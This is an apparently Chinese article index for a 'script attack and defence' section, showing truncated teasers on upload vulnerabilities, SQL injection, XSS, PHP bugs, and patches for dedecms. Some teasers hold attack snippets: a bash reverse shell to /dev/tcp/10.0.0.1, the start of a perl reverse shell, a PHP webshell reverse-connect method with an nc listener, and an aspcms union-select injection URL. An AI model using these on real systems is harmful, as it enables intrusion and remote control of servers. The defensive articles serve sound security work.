小编 脚本攻防 脚本入侵-上传漏洞总结篇(臭小子) 1:抓包上传 我们可以用WSockExpert(抓包工具) hkcpost抓包提交软件或等等抓包工具 说下hkcpost有时候电脑打不开WSockExpert(抓包工具) 我们就用这工具 很好用 说到抓包上传 比如一个上传地址http://site/u...
小编 脚本攻防 php intval()函数使用不当的安全漏洞分析 一、描述 intval函数有个特性:"直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\\0)结束转换",在某些应用程序里由于对intval函数这个特性认识不够,错误的使用导致绕过一些安全判断导致安全漏洞. 二、...
小编 脚本攻防 如何检测SQL注入技术以及跨站脚本攻击 在最近两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循 安全代码进行开发,攻击者将通过80端口进入你的系统。广泛被使用的两个主要攻击技术是SQL注入[ref...
小编 脚本攻防 记 FineUI 官方论坛discuz所遭受的一次真实网络攻击 可能是最近在参加 CSDN 举行的那个评选,FineUI 论坛吸引了一大批围观群众,也吸引了一些黑客的目光,本文会按时间顺序记录下 FineUI 论坛所遭受的这次网络攻击,期望能对其他站长有所帮助。 发现异常 2013-6-22 08:56 早上起来,...
小编 脚本攻防 Linux 下多种编程语言的反弹 shell 方法 bash命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本:perl -e \’use Socket;$i="10.0.0.1";$p=1234;...
小编 脚本攻防 Python 爬虫使用动态切换ip防止封杀 上次有说过,我在新公司有部分工作是负责爬虫业务的,爬虫机器有上百台,节点也要计划迁入了Docker平台上。 这两天遇到一个棘手的问题,就是因为我们为了追求数据量,在某些机房,用docker启动了不少爬虫节点,导致一些傻逼网站,开始封禁我们&hellip...
小编 脚本攻防 PHP Webshell 下的端口反弹方法 使用方法:需要将以下代码保存为一个单独的php文件。上传到服务器之后,本地NC监听一个端口,在代码里设置好反弹IP和端口,然后直接访问上传的php文件,就会给 NC 弹回来一个shell。 测试实例:先在本地执行 nc -vv -l -p port,然...
小编 脚本攻防 防范 dedecms 广告内容插入后门 dedecms广告内容没有做限制,可以输入脚本信息,并写入文件,导致木马植入! 此补丁,是防止广告里带PHP脚本并写入文件! 核心代码:ad_js.php 复制代码 代码如下: //禁止写入和PHP脚本有关字符信息 //================...
小编 脚本攻防 防止网站被JS,iframe挂马的防范方法 这种方法使用的关键代码如下: window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,...
小编 脚本攻防 网站MYSQL数据库高级爆错注入原分析 这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652 grouping on certain parts of the result from rand, causes a duplicate...
小编 脚本攻防 aspcms企业建站系统0day漏洞介绍 漏洞出现在 /plug/productbuy.asp 对接收的参数id没有进行过滤而导致的注入漏洞 注入后的页面有跳转,所以要快,建议用快捷键复制 爆用户名 /plug/productbuy.asp?id=2+union+select+1,2,Logi...
小编 脚本攻防 脚本入侵 ASP网站入侵常用的一些技巧分享 如果是html格式的站我们先打开网站然后单击鼠标右键 按查看源文件-编辑-查找输入asp 看有没有网站ASP文件或ASP带参数1:注入点先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾...